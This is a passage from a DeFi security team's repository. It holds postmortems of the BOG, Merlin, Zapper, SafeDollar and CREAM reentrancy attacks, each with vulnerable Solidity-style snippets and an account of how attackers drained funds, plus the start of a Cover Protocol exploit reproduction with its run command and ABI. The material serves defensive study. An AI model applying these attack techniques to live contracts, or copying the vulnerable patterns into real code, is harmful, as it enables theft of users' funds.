| function _txBurn(address account, uint256 txAmount) internal returns (uint256) { 19 | uint256 toBurn = txAmount.mul(_burnRate).div(1000); // calculate amount to burn 20 | 21 | _distribute(account, toBurn.mul(_distributeRatio-1).div(_distributeRatio)); 22 | _burn(account, toBurn.div(_distributeRatio)); 23 | 24 | return txAmount.sub(toBurn); // return amount left after burn 25 | } 26 | 27 | However, while the distribute function does indeed distribute the correct amount to the stakers, it does not actually remove any funds from the sender when doing so. The net effect then is to create BOG. When the sender sends 100 BOG: 28 | 29 | |Change | Reason | 30 | |-------|---------------------------| 31 | | +4 | sent to stakers. | 32 | | -1 | burned from senders's account| 33 | | -95| removed from sender's account| 34 | | +95| added to recipient account. | 35 | 36 | This results in a 3% net increase in BOG over the transferred amount on each transfer. 37 | 38 | A second effect of this missing code is that transfers will leave money in the senders account. When we narrow down to just looking at the changes to sender's account on a transfer of 100 BOG: 39 | 40 | |Change | Reason | 41 | |-------|---------------------------| 42 | | -1 | burned from senders's account| 43 | | -95| removed from sender's account| 44 | 45 | After a transfer of 100 BOG, only 96 BOG would be taken, and 4 extra BOG would remain with the account. 46 | 47 | The attacker exploited this flaw in the logic by staking a lot of BOG and then transferring money to himself over and over again. The net result was that the attacker gained more from being in the staking pool and recieving the distributions than was lost to the burns on the transfers. 48 | 49 | ## What allowed this to happen? 50 | 51 | This was a simple logic/math bug. Because of the way the contract was split up into functions, and the ambiguity behind the name of the distribute function, each function looked correct in isolation. 52 | 53 | This could have been caught by a basic unit test that checked that after 100 BOG was sent, the sender had 100 BOG less they started with. 54 | 55 | ## Are we vulnerable? 56 | 57 | No. Our transfers are [unit tested](https://github.com/OriginProtocol/origin-dollar/blob/2f8bb0cf30c839a6285eb48cb8bf067701335c4e/contracts/test/token.js#L44-L51). In addition, a design decision behind OUSD was to separate the OUSD ERC20 token itself from all the vault/strategy logic. This makes the code much simpler on each sides, and the OUSD token contract doesn't have any extra logic in it beyond rebasing for yield increases. 58 | 59 | ## Links 60 | 61 | An attack transaction: 62 | https://bscscan.com/tx/0x215713e60d5058a9f0f925fc25b08823ba603341167ea0f9011d1369c37a7e06 63 | 64 | BOG contract: 65 | https://bscscan.com/address/0xd7b729ef857aa773f47d37088a1181bb3fbf0099#code -------------------------------------------------------------------------------- /incidents/2021-05-26-Merlin.md: -------------------------------------------------------------------------------- 1 | # 2021-5-25 Merlin Attack 2 | 3 | _Daniel Von Fange_ 4 | 5 | ## What happened 6 | 7 | Attackers stole $680K from Merlin LP holders on May 26th, 2021 via a bug in the logic for minting rewards tokens. 8 | 9 | ## How it works 10 | 11 | ![Illustration of three banking robots](../reproductions/assets/2021_merlin_illustration.png) 12 | 13 | Imagine a robot bank. 14 | 15 | This robot bank doubles any interest by earned depositors. When you go to collect, three robots assist you. The first robot looks up how much interest you have earned since your last visit. The second robot fetches that amount from the vault and places it on the desk of the third robot, who doubles the amount on his desk and hands it to you. 16 | 17 | But what if, just before you went through the line to collect a little interest, you threw a stack of money onto the third robot's desk. Totally legal to give robots money, right? When you went through the line to collect a trillionth of a cent of interest earned, that last robot would double your large stack of money as well as your tiny amount of earned interest. 18 | 19 | Repeat until you have drained the bank. 20 | 21 | ### The Merlin Attack 22 | 23 | The actual Merlin rewards process was almost as simple as that hypothetical example. It would: 24 | 25 | - Collect the CAKE the user had earned to the contract. 26 | - Mint MERL to the user **based on the amount of CAKE now held by the rewards contract**. 27 | - Transfer 30% of the CAKE as a fee to the Merlin system. 28 | - Send the user all remaining CAKE in the contract. 29 | 30 | The attacker exploited this by directly sending CAKE to the rewards contract before requesting rewards on a tiny deposit. 31 | 32 | At the time of the attack, CAKE was trading for approximately $17 and MERL was trading at $49, which made this very profitable. The attacker's first time looping through the process spent about $918 worth of CAKE for a gain of $4,900 worth of MERL. 33 | 34 | Each time the attacker sold the MERL that was minted to them, the loop profitability would reduce sightly. Eventually, the price of MERL was crashed to a point where the attack was no longer profitable to continue. 35 | 36 | ## What allowed this to happen? 37 | 38 | This attack happened because the contract tried to calculate how much the user had earned using the current balance of the rewards contract. The correct way to calculate this number would have been to compare the balance before the withdrawal of CAKE with the balance after the withdraw. 39 | 40 | This is a scary class of errors because these are not going to show up on unit tests, fuzzing tests, or formal verification, unless those tests are specifically written to probe this specific vulnerability. Math in the contract's functionality will appears to work correctly up until the contract is attacked. This vulnerability class is also not in any of the "standard" set of common solidity problems checked by automated tools. 41 | 42 | Any time balanceOf() is in contract code, it is important to see if that value could be manipulated by an attacker, and what the consequences would be. 43 | 44 | ## Are we vulnerable? 45 | 46 | No. OUSD does not mint rewards tokens, nor does it do calculations based on balances which the user can recover. 47 | 48 | ## Links 49 | 50 | Merlin sample collect rewards transaction: 51 | https://bscscan.com/tx/0x8e20a1118a669d03b66c5eca2d937646bd855a998afb1e94b94ff6303456ff97 52 | -------------------------------------------------------------------------------- /incidents/2021-06-17-Zapper.md: -------------------------------------------------------------------------------- 1 | # 2021-6-9 Zapper Whitehat 2 | 3 | _Daniel Von Fange_ 4 | 5 | ## What happened 6 | 7 | On June 9th, [@lucash_dev](https://twitter.com/lucash_dev) found a vulnerability ([writeup](https://immunefi.medium.com/zapper-arbitrary-call-data-bug-fix-postmortem-d75a4a076ae9)) in a Zapper contract, that would have allowed an attacker to steal all funds that the contract had been given permission to move on users' behalf. 8 | 9 | 10 | ### Background: Permit 11 | 12 | Traditionally when you want a contract to be able to move your tokens, you must first send the ERC20 a transaction that approves the contract, and specifies how much it can move. This is a painful for two reasons - It costs another transactions worth of gas, and user has the delay of waiting for two transactions to succeed, rather than just one. 13 | 14 | Because of this, “permit” functionality is becoming more and more popular in ERC20s. This allows the end user to sign some data locally giving permission for a contract to use their funds, then send this signed data to the contract that will be using the user's funds. This contract can then call “permit” on the ERC20 contract, passing along the users permission data and signature, which allows the contract to move the user's funds, all in a single transaction. 15 | 16 | ## The Vulnerability 17 | 18 | The affected Zapper contract was intended to allow the user to withdraw their LP tokens from a trusted set of pools. It was intended to be able to call `permit` on the pool before attempting to withdraw the user’s funds. Unfortunately, two functions in this contract would forward on to the pools _any_ command which the user sent, as if the zapper contract itself had issued the user's command. This allowed an attacker to call methods other than permit on the pools, and to do so using the identity of the zapper contract. 19 | 20 | It is as if a bank president allowed you to write any message you wanted on his letterhead, sign it with his own wax seal, and send it to whatever bank you wished. Instead of writing _“Bob signed below and permits ABC Bank to withdraw $100 from his account”_, you could instead write _“Withdraw $10 million from ACME Corporation's account and transfer it to Bob.”_ 21 | 22 | Here's one of the vulnerable functions. `permitData` is used as the message/command to send to the pool. 23 | 24 | ```javascript 25 | function ZapOut2PairTokenWithPermit( 26 | address fromPoolAddress, 27 | uint256 incomingLP, 28 | address affiliate, 29 | bytes calldata permitData 30 | ) external stopInEmergency returns (uint256 amountA, uint256 amountB) { 31 | _validatePool(fromPoolAddress); 32 | (bool success, ) = fromPoolAddress.call(permitData); 33 | ...snip... 34 | } 35 | ``` 36 | 37 | ## Avoiding this 38 | 39 | Don’t allow arbitrary user data to be sent to call() methods. Instead, if you need to communicate with an external contract, build the remote call yourself, to ensure that the right method is called, and the passed parameters are correct. For example: 40 | 41 | ```javascript 42 | // Don't do this! 43 | function noNever(bytes calldata data) external { 44 | lendingPool.call(data); 45 | } 46 | 47 | // Specify what method and what parameters are used on the other contract. 48 | function yesThis(uint256 pid) external { 49 | lendingPool.updateTokens(pid); 50 | } 51 | ``` 52 | 53 | The automated checker Slither will only mark the use of call as at an informational level, the lowest possible. 54 | 55 | ## Are we vulnerable 56 | 57 | No. We only do arbitrary remote calls as a part of our governance / timelock contracts. Delegatecalls are only used as part of a proxy upgrade pattern. -------------------------------------------------------------------------------- /incidents/2021-06-28-SafeDollar.md: -------------------------------------------------------------------------------- 1 | # 2021-06-28 SafeDollar 2 | 3 | ## What happend 4 | 5 | An attacker minted an essentially infinite amount of SafeDollar, an algo-stable, through a bug in the coin's reward program. Approximately $250K was taken from liquidly pools. 6 | 7 | 8 | ### Background SafeDollar 9 | 10 | The SafeDollar project had several pools that would reward depositors with steady flow of new SafeDollars. Each pool would get a set rate of new SafeDollars per second, split among all holders. 11 | 12 | For example, if the pool reward was set to one dollar per second, then after ten minutes there would be six hundred dollars of rewards waiting to be split among holders by the percentage of the pool that they held. 13 | 14 | Skipping all the complication around tracking reward amounts over time, different rates, and balance changes, the formula is: 15 | 16 | ```javascript 17 | userReward = (seconds * rewardsPerSecond) / (userBalance / totalPoolSize) 18 | ``` 19 | 20 | 21 | ### The vulnerability 22 | 23 | The core vulnerability was a mismatch that happened between internal accounting numbers and actual balances, in the case when a coin that charged a transaction fee was deposited and withdrawn from the pool. 24 | 25 | The total pool size was calculated using a live call to `pool.lpToken.balanceOf(this)` and was accurate. However the user's internal pool balance was calculated based off adding and subtracting how much money the user had requested to be added or removed from the pool, not the actual amount received by the pool. 26 | 27 | When the coin has no fee, this accounting method works. If a user has $10 in the contract, requests that $5 be added, and that request processes successfully, then both the external balance, and the internal accounting will say $15. 28 | 29 | This goes wrong in the case of a coin with a fee. If the user requests a deposit of $100, the actual balance change to the contract may be $90, while the internal accounting would show that the user had $100 in their account. Now if the user requests to withdraw $100, the contract will transfer $100 to the user, which would end up with an internal balance of $0 on the user in the contract, and $90 of the fee coin reaching the user after the fee. The contract itself has lost money in this deposit/withdraw. Let's say the contract started with $100. If it received $90 from the deposit, after the fee, and sent $100 back to the user before the fee, the contract now has $90 in actual coins, and $100 in internally recorded deposits to other users. 30 | 31 | In such a case, the rewards given out per second will actually be higher than the rewardsPerSecond setting in the contract! 32 | 33 | If the normal case of healthy accounting, a user with $10, and a pool size of $100, then `userBalance / totalPoolSize` is `10/100 = 0.10`, giving the user ten percent of the rewards. But what if the user has an internal balance of $100, but the actual funds in the pool was lower at $90? Then `100/90 = 1.1111`, and the rewards to a single user are actually higher than the total of all rewards that are supposed to be given out! 34 | 35 | ### The attack 36 | 37 | The attacker made a small initial deposit into a SafeDollar pool, then took the accounting vulnerability to extremes by repeatedly depositing and withdrawing huge amounts until they almost completely drained the funds held by the contract down to almost-zero. 38 | 39 | And when you divide a number by almost-zero, you get almost-infinity. A user balance of $1 divided by a holdings of $0.0000000000000000000001 would multiply the rewards by 1,000,000,000,000,000,000,000. 40 | 41 | The attacker collected his bazillions of new SafeDollars as a reward on his tiny deposit, and traded them for all the liquidity available on the pools. 42 | 43 | ## Preventing this attack 44 | 45 | Supporting coins with fees requires different code around transfers. Balances must be checked before and after each transfer. If this before/after code is not present, a protocol must ensure that it is only using trusted coins without transfer fees. 46 | 47 | Unit tests will catch this as long as a project intentionally includes a transfer fee coin in its tests. 48 | 49 | ## Are we vulnerable 50 | 51 | None of the current stablecoins that OUSD supports are using a fee, which means that we do not have this vulnerability. 52 | 53 | However, USDC is upgradable at any time by Coinbase, and USDT is both upgradable by Tether and contains unused, years old transfer fee code since its launch. We've deliberately chosen to code for all coins remaining non-fee, since that gives a reduction in code in complexity and gas fees. 54 | 55 | ## Links 56 | 57 | - Main attack TX: https://polygonscan.com/tx/0x4dda5f3338457dfb6648e8b959e70ca1513e434299eebfebeb9dc862db3722f3 58 | - Attack contract create TX: https://polygonscan.com/tx/0xe83abdc9b0d7e1e9ed1f95db7641a47d6034330c2fadbcbf8a4f2c1ff1b9ce0c 59 | -------------------------------------------------------------------------------- /incidents/2021-08-31-Cream.md: -------------------------------------------------------------------------------- 1 | # CREAM/AMP Reentrancy Attack 2 | 3 | _Daniel Von Fange_ 4 | 5 | ## What happened? 6 | 7 | On August 31st, 2021, an attacker stole 19.6 million dollars worth of ETH and AMP from Cream lending pools. This attack was notable because it was a successful reentrancy attack against contracts that did have reentrancy protection. 8 | 9 | ## What is a reentrancy attack? 10 | 11 | The very first big hack on an Ethereum smart contract was a reentrancy attack. Reentrancy attacks are THE classic Ethereum smart contract vulnerability. Consider a sample bank smart contract with this withdrawn method: 12 | 13 | ```javascript 14 | withdraw(address user, uint256 amount){ 15 | uint256 oldBalance = balances[user]; 16 | // Check 17 | require(oldBalance >= amount); 18 | // Calculate 19 | uint256 newBalance = oldBalance - amount; 20 | // Transfer funds 21 | coin.transfer(user, amount); 22 | // Store 23 | balances[user] = newBalance; 24 | } 25 | ``` 26 | 27 | If an attacker was able to run their own code during the coin transfer in this withdraw, then the attacker could withdraw more than they had deposited. 28 | 29 | Let’s see how this works. The attacker starts with $1,000 deposited, and requests a withdrawal of $1,000. The withdrawal function reads in the user’s balance, checks that the user has funds, and sets a temporary variable newBalance to $0. This “newBalance” variable is not a write to storage, rather it is only in memory during this execution of the withdraw function. 30 | 31 | When the $1,000 is transferred to the attacker, the attacker gets to run code at this point in the middle of the withdraw function. Immediately, the attacker requests another withdrawal for $1,000. Because the storage keeping track of the user’s balance has not yet been updated, the withdrawal functions loads in the user’s balance as still $1,000 and permits another withdrawal to begin. 32 | 33 | After the second transfer in the second withdraw is complete, then the newBalance in each running copy of the withdrawal function are stored. In each case, the newBalance being stored would be zero. The attacker has doubled their money, and could repeat the attack. 34 | 35 | ## AMP Background 36 | 37 | A core part of the AMP ERC20 token implementation is that during each transfer of AMP from one user to another, the token can run external code chosen by the receiver. This is very unusual, and allows code to be run in the middle of other contracts being executed. This is a classic opening for a reentrancy attack. 38 | 39 | ## CREAM Background 40 | 41 | CREAM is a set of over-collateralized lending pools, like Compound and AAVE. A user deposits an amount of a crypto token, and is then able to borrow a smaller dollar value of a different crypto token. 42 | 43 | A core part of the protocol is that a user can never borrow a greater amount than the user's collateral permits. Before making a loan, the CREAM codebase scans through each lending pool in the system to verify how much the user has borrowed from each and lent to each. 44 | 45 | ## CREAM Borrow Function 46 | 47 | The CREAM borrow function looks like this (focusing just on the user balance and the transfer): 48 | 49 | ```javascript 50 | function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) { 51 | // ... snip ... 52 | vars.accountBorrows = borrowBalanceStoredInternal(borrower); 53 | vars.accountBorrowsNew = add_(vars.accountBorrows, borrowAmount); 54 | // ... snip ... 55 | doTransferOut(borrower, borrowAmount); 56 | /* We write the previously calculated values into storage */ 57 | accountBorrows[borrower].principal = vars.accountBorrowsNew; 58 | // ... snip ... 59 | } 60 | ``` 61 | 62 | It looks exactly like a textbook reentrancy example. So why wasn’t it hacked long before? 63 | 64 | ## Reentrancy Defenses 65 | 66 | There are three common reentrancy defenses that smart contracts use. 67 | 68 | ### 1. External function calls last 69 | 70 | If we jump back to our example, but move just one line of code, we can prevent a reentrancy attack: 71 | 72 | ```javascript 73 | withdraw(address user, uint256 amount){ 74 | // Check 75 | uint256 oldBalance = balances[user]; 76 | require(oldBalance > amount); 77 | // Calculate 78 | uint256 newBalance = oldBalance - amount; 79 | // Store 80 | balances[user] = newBalance; // MOVED to before transfer 81 | // Transfer funds 82 | coin.transfer(user, amount);} 83 | ``` 84 | 85 | If the call to an external function is after everything else in the function, then the attacker gains no advantage by calling the code from inside the transfer. This simple method of preventing attacks was learned painfully in the early days of Ethereum, and this defense is in the official Solidity documentation. 86 | 87 | ### 2. NonReentrant locks 88 | 89 | But sometimes you need to make multiple external calls, or there are unavoidable calculations that must be done after external calls. In such a case, the usual solution is to use a single contract storage slot as a lock. Whenever any state changing function in the contract is called, the lock storage is checked to see if other code is executing. If it is locked, the function will revert. If it is unlocked, then the function will write a locked value to the storage and continue normal execution. After running the code, the last step in the function will unlock the lock. By doing so, an attacker cannot executed any code in the same contract at the same time. 90 | 91 | NonReentrant locks are incredibly common and are essentially standard for smart contracts these days. It's a simple tool that prevents a tremendous amount of mischief. 92 | 93 | ### 3. Only using trusted external coins 94 | 95 | Lastly, a common method is to have a whitelist of trusted coins or contracts that your own contract is allowed to interact with. As long as these external contract are not attacking you themselves, and not calling out to external contracts themselves (in methods you use) this can be safe. 96 | 97 | But it's very easy to get wrong. Either by forgetting to check somewhere inside your code that a coin is in your list before calling it, or by adding a trusted coin without checking it for reentrancy possibilities. It's also possible that a coin that was safe before could potentially be upgraded later to unsafe behavior. 98 | 99 | ## How did the CREAM attack work? 100 | 101 | As we already saw, the order of the CREAM borrow function was vulnerable to reentrancy. Furthermore, a coin that allowed an attackerto execute code during a transfer was added to the list of tokens supported by CREAM. 102 | 103 | However, the CREAM lending pool contracts did have reentrancy locks on their contract functions. How did the contracts get hacked when they had protection here? 104 | 105 | The CREAM lending system is made up of multiple contracts with one "CToken" pool contract for each asset supported. So CREAM has a lending contract for ETH, as it does for USDC, as it does for AMP, etc. Each one of these individual lending contracts has its own separate lock for protecting that individual contract against reentrancy. 106 | 107 | However, the system *as a whole* is not protected because an attacker could be inside different lending pool contracts simultaneously. 108 | 109 | In each round of this attack, the attacker put up one and a half million dollars of collateral, then borrowed AMP. During the borrow function for in the AMP pool contract, the AMP coin called the attackers code, allowing the attacker to start a second borrow of ETH. Because the AMP borrow had not written any record of the AMP borrow to storage yet, when the ETH borrow in the ETH pool contract checked with all pool contracts to see how much the attacker had already borrowed, it saw that the attacker had no debts and lots of collateral, and thus allowed a duplicate ETH borrow. 110 | 111 | With the ability to get two borrows for a single set of colateral, it was game over. The [Cream Post Mortem](https://medium.com/cream-finance/c-r-e-a-m-finance-post-mortem-amp-exploit-6ceb20a630c5) has an excellent writeup of the rest of the attack, beyond the core vulnerability. 112 | 113 | ## Catching this kind of vulnerability 114 | 115 | - The Slither automated tool will check individual functions for state writes after external calls. 116 | - Contract level reentrancy protection should be used - unless you have an extremely simple contract that can be proven not to need it. 117 | - If you have an interlocking set of contracts, you might need either a global level of locking, or a way to funnel incoming transactions through a single contract. 118 | - As DeFi gets more complicated, there may be reentrancy vulnerabilities found involving contracts from multiple parties, each individually protected, but systematically weak. 119 | 120 | ## Links 121 | 122 | - [An attack transaction](https://ethtx.info/mainnet/0xa9a1b8ea288eb9ad315088f17f7c7386b9989c95b4d13c81b69d5ddad7ffe61e/) 123 | - [CREAM CToken contract code](https://etherscan.io/address/0x3c710b981f5ef28da1807ce7ed3f2a28580e0754#code) 124 | - [AMP token code](https://etherscan.io/address/0xff20817765cb7f73d4bde2e66e067e58d11095c2#code) 125 | - [Cream Post Mortem](https://medium.com/cream-finance/c-r-e-a-m-finance-post-mortem-amp-exploit-6ceb20a630c5) -------------------------------------------------------------------------------- /incidents/2023-02-04-USDS-Sperax.md: -------------------------------------------------------------------------------- 1 | https://twitter.com/danielvf/status/1621965412832350208 2 | -------------------------------------------------------------------------------- /incidents/README.md: -------------------------------------------------------------------------------- 1 | # Context 2 | As maintainers of the OUSD protocol, we find value in analyzing attacks on other Defi protocols to 3 | - ensure OUSD is not at risk of a similar attack 4 | - continuously educate our team on smart contract security 5 | - spread the knowledge by making those analysis public and sharing them with the rest of the community 6 | We decided to setup a rotation in our engineering team to analyze the latest hacks that come up. 7 | 8 | # Process 9 | - The responsibility involves writing a short write-up of the hack with technical details and whether or not OUSD is at risk of a similar attack. 10 | - This should happen shortly after an attack, ideally within 24 hours. 11 | - While the rotation designates an engineer responsible for driving the analysis, it does not mean this engineer is on their own to figure it all out. It should be a learning experience where asking questions and getting help from the rest of the team is expected. 12 | - It is impossible to predict when the next hack will occur. An engineer who is next on the rotation may be OOO when a hack happens. In that case, we can simply have the next person on the list, or anyone who wants to volunteer, trade their spot with them. 13 | 14 | # Rotation 15 | 1. [@shahthepro](https://github.com/shahthepro) 16 | 1. [@sparrowDom](https://github.com/sparrowDom) 17 | 1. [@mikeshultz](https://github.com/mikeshultz) 18 | 1. [@DanielVF](https://github.com/DanielVF) 19 | 20 | # And more! 21 | For additional DeFi security posts, also checkout some of our team members' twitter posts: 22 | - https://twitter.com/danielvf 23 | -------------------------------------------------------------------------------- /reproductions/2020-12-cover/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/ 2 | cache 3 | -------------------------------------------------------------------------------- /reproductions/2020-12-cover/README.md: -------------------------------------------------------------------------------- 1 | # Reproduction of Cover Protocol exploit 2 | 3 | The exploit is implemented as a Hardhat task in `hardhat.config.js`. 4 | 5 | To run use: 6 | 7 | `PROVIDER_URL=https://eth-mainnet.alchemyapi.io/v2/ yarn run exploit` 8 | -------------------------------------------------------------------------------- /reproductions/2020-12-cover/abi/Blacksmith.json: -------------------------------------------------------------------------------- 1 | [{"inputs":[{"internalType":"address","name":"_coverAddress","type":"address"},{"internalType":"address","name":"_governance","type":"address"},{"internalType":"address","name":"_treasury","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"miner","type":"address"},{"indexed":true,"internalType":"address","name":"lpToken","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Deposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"miner","type":"address"},{"indexed":true,"internalType":"address","name":"lpToken","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Withdraw","type":"event"},{"inputs":[],"name":"START_TIME","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WEEK","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_lpToken","type":"address"},{"internalType":"address","name":"_bonusToken","type":"address"},{"internalType":"uint256","name":"_startTime","type":"uint256"},{"internalType":"uint256","name":"_endTime","type":"uint256"},{"internalType":"uint256","name":"_totalBonus","type":"uint256"}],"name":"addBonusToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_lpToken","type":"address"},{"internalType":"uint256","name":"_weight","type":"uint256"}],"name":"addPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_lpTokens","type":"address[]"},{"internalType":"uint256[]","name":"_weights","type":"uint256[]"}],"name":"addPools","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"allowBonusTokens","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bonusTokens","outputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"startTime","type":"uint256"},{"internalType":"uint256","name":"endTime","type":"uint256"},{"internalType":"uint256","name":"totalBonus","type":"uint256"},{"internalType":"uint256","name":"accBonusPerToken","type":"uint256"},{"internalType":"uint256","name":"lastUpdatedAt","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_lpToken","type":"address"}],"name":"claimRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_lpTokens","type":"address[]"}],"name":"claimRewardsForPools","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_lpToken","type":"address"}],"name":"collectBonusDust","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"collectDust","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cover","outputs":[{"internalType":"contract ICOVER","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_lpToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"deposit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_lpToken","type":"address"}],"name":"emergencyWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getPoolList","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"governance","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"miners","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"rewardWriteoff","type":"uint256"},{"internalType":"uint256","name":"bonusWriteoff","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"poolList","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pools","outputs":[{"internalType":"uint256","name":"weight","type":"uint256"},{"internalType":"uint256","name":"accRewardsPerToken","type":"uint256"},{"internalType":"uint256","name":"lastUpdatedAt","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalWeight","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newAddress","type":"address"}],"name":"transferMintingRights","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"treasury","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_bonusToken","type":"address"},{"internalType":"uint8","name":"_status","type":"uint8"}],"name":"updateBonusTokenStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_lpToken","type":"address"}],"name":"updatePool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_lpTokens","type":"address[]"},{"internalType":"uint256[]","name":"_weights","type":"uint256[]"}],"name":"updatePoolWeights","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_start","type":"uint256"},{"internalType":"uint256","name":"_end","type":"uint256"}],"name":"updatePools","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_weeklyTotal","type":"uint256"}],"name":"updateWeeklyTotal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_lpToken","type":"address"},{"internalType":"address","name":"_miner","type":"address"}],"name":"viewMined","outputs":[{"internalType":"uint256","name":"_minedCOVER","type":"uint256"},{"internalType":"uint256","name":"_minedBonus","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"weeklyTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_lpToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] 2 | -------------------------------------------------------------------------------- /reproductions/2020-12-cover/abi/Cover.json: -------------------------------------------------------------------------------- 1 | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"START_TIME","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blacksmith","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"migrator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_treasury","type":"address"},{"internalType":"address","name":"_vestor","type":"address"},{"internalType":"address","name":"_blacksmith","type":"address"},{"internalType":"address","name":"_migrator","type":"address"}],"name":"release","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","n